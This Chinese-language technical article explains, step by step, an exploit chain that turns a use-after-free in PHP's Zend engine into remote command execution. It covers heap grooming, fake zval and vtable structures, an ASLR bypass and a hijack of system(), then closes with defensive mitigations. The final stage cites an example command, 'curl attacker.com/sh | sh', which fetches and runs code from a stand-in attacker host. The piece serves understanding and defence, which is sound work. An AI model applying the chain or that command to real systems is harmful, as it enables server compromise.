从悬空指针到 system():堆风水、伪造 zval 与 RCE 完整利用链拆解
从悬空指针到 system():堆风水、伪造 zval 与 RCE 完整利用链拆解
<time datetime="2026-10-23">验证日: 2026年10月23日</time> · 架构审计: Zend Engine 4.x / ZMM (CVE-2026-109618 & CVE-2026-109619)
将一个底层的内存释放后使用(UAF)漏洞(CVE-2026-109618 与 CVE-2026-109619)转化为 100% 稳定触发的远程命令执行(RCE),在系统安全领域属于一套精密的攻防工程。
在 PHP Zend 引擎的语境下,整个攻击过程不依赖任何业务逻辑,而是直接对 Zend 内存管理器(Zend MM) 的内部二进制布局展开定向攻防。
一、 16 字节伪造 zval 结构体内存对齐与解构图
在 PHP 7 与 PHP 8 架构中,所有变量底层统一采用 16 字节对齐的 struct _zval_struct。攻击者在内存中精心构造伪造对象虚表的二进制拓扑结构如下:
0x00 0x08 0x09 0x0A 0x0C 0x10
┌──────────────────┬──────────────┬─────────┬─────────┬──────────────┐
│ zend_value │ u1.type │ flags │ gc_info │ u2.extra │
│ (8 字节 指针字段)│ (1 字节标签) │ (1 字节)│ (2 字节)│ (4 字节) │
└────────┬─────────┴──────┬───────┴─────────┴─────────┴──────────────┘
│ │
│ └─► 0x08 (伪装为 IS_OBJECT 或特定引擎对象类型)
│
▼
┌──────────────────────────────────────┐
│ 堆上伪造的 zend_object 对象结构体 │
│ ┌──────────────────────────────────┐ │
│ │ handlers (指向伪造虚表的指针) │ │
│ └──────────────┬───────────────────┘ │
└────────────────┼─────────────────────┘
│
▼
┌──────────────────────────────────────┐
│ 攻击者精心排布的伪造函数虚表 (vtable)│
│ ┌──────────────────────────────────┐ │
│ │ free_obj / read_prop / call 指针 │ │
│ │ ──► 精准指向 libc 中的 system() │ │
│ └──────────────────────────────────┘ │
└──────────────────────────────────────┘
二、 第一阶段:堆风水(Heap Grooming)与占位
Zend MM 采用按大小分桶(Bin)的管理机制(类似于 Linux glibc 的空闲链表)。
当 UAF 发生、目标内存块被释放后,攻击者必须保证该内存块被自己可控的数据重新“精准抢租”:
- 清空碎片(Draining Holes): 在触发漏洞前,先通过精确构造长度的 HTTP 头或表单键值对,排空该尺寸桶内的既有碎片内存;
- 堆喷射(Heap Spraying): 并发发送大量包含统一构造数据块的请求,淹没目标桶;
- 精准占位: 根据 Zend MM 先入后出(LIFO)的空闲链表特性,刚被释放的柜位会被立刻重新分配给攻击者输入的数据。
三、 第二阶段:构造 16 字节的“假盒子”(Fake zval)
在 PHP 7 与 PHP 8 架构中,所有变量底层统一采用 16 字节对齐的 struct _zval_struct 结构体表示:
struct _zval_struct {
zend_value value; // 8 字节:根据类型分别存放标量值或堆指针
union {
struct {
uint8_t type; // 变量类型标签:IS_LONG, IS_STRING, IS_OBJECT 等
uint8_t type_flags;
...
} v;
uint32_t type_info;
} u1;
union {
uint32_t next;
} u2;
};
攻击者利用堆喷射,在占位的内存块中灌入十六进制原始字节:
- 将
u1.type伪装成IS_OBJECT或引擎待解引用的内部结构; - 将
value指针指向一个攻击者在内存中精心排布的“伪造虚函数表(vtable)”。
四、 第三阶段:绕过 ASLR 内存防御与控制流劫持
现代操作系统(Linux/macOS)均全面开启 ASLR(地址空间布局随机化)。直接写死 system 地址会导致进程当场崩溃。
攻击者通常采用**两阶段攻击(Two-stage RCE)**实现精准击穿:
-
信息泄露(任意读): 先伪造一个
IS_STRING类型的zval,让其指针指向已知的 Zend 符号表或函数指针。通过回显读出真实指针,计算出当前进程的libc基地址以及system()的真实绝对内存位置。 -
控制流转移: 将伪造虚表中的析构或属性访问函数指针改写为
system()的真实地址。 -
最终执行: 当 PHP 引擎执行类似
obj->handlers->free_obj(obj)的操作时,CPU 寄存器(x86-64 下的RDI,ARM64 下的X0)正好指向对象自身或可控参数。攻击者在其中填入 Shell 命令字符串(如
curl attacker.com/sh | sh),CPU 执行CALL <system>,指令流从 Zend 虚拟机直接跳入操作系统底层 Shell 环境,RCE 宣告达成。
五、 防御工程视角:如何从内核根除利用链
要阻断上述复杂的利用链,防御方应当在两个关键维度实施深度防御:
- 配置层扼杀触发源:
在
php.ini中全局声明session.upload_progress.enabled = Off,彻底切断悬空指针初始产生的 C 代码路径; - 内核层剥夺系统调用能力:
通过 Linux Seccomp-BPF 针对 PHP-FPM 工作进程全面封杀
execve、fork和clone系统调用。即便利诱发了 vtable 劫持并跳转至system(),操作系统内核也将在 CPU 执行SYSCALL 59的瞬间强行终止进程(SIGSYS),使 RCE 在物理上失去执行载体。